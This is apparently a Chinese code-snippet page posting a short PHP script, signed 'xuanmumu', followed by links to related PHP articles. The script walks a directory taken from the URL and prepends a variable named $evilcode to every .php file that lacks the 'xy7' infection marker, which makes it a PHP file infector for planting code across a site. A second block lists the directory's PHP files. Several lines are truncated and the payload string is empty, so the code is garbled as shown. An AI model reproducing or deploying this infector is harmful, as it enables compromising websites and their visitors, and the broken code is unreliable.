复制代码 代码如下:
//xy7
if(!isset($dir)orempty($dir)){
$dir=str_replace('','/',dirname(__FILE__));
echo"
}else{
$dir=$_GET['dir'];
echo"
}
$evilcode="";
$testdir=opendir($dir);
while($filea=@readdir($testdir)){
if(strstr($filea,'.php')){
$fp=@fopen($filea,'r+');
if(!strstr(@fread($fp,20),'xy7')){
rewind($fp);
$old=@fread($fp,filesize($filea));
rewind($fp);
fwrite($fp,$evilcode.$old);
}
fclose($fp);
}
}
closedir($testdir);
?>
$dirs=@opendir($dir);
while($file=@readdir($dirs)){
if((is_file($file))and(ereg(".php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-dH:i:s",filectime("$dir/$file"));
echo"
echo"
echo"
echo"
}
}
}
@closedir($dirs);
?>
codzbyxuanmumu
相关推荐
- php判断当前页面是不是在微信里面打开
- PHP 采集心得技巧
- DISCUZ 论坛管理员密码忘记的解决方法
- PHP获取当前文件所在目录 getcwd()函数
- 示例详解Laravel的注册重构
- PHP实现路由映射到指定控制器
- 谈谈PHP连接Access数据库的注意事项
- 总结PHP中DateTime的常用方法
- php使用curl详细解析及问题汇总
- 示例详解Laravel重置密码代码重构
- 修改Laravel5.3中的路由文件与路径
- 教你在header中隐藏php的版本信息
- PHP怎样用正则抓取页面中的网址
- php阳历转农历优化版
- 常用PHP数组排序函数归纳
- PHP+JQuery+Ajax实现分页方法详解
- 微信自定义菜单的创建/查询/取消php示例代码
- Thinkphp微信公众号支付接口
- 浅析Laravel5中队列的配置及使用
- php微信支付接口开发程序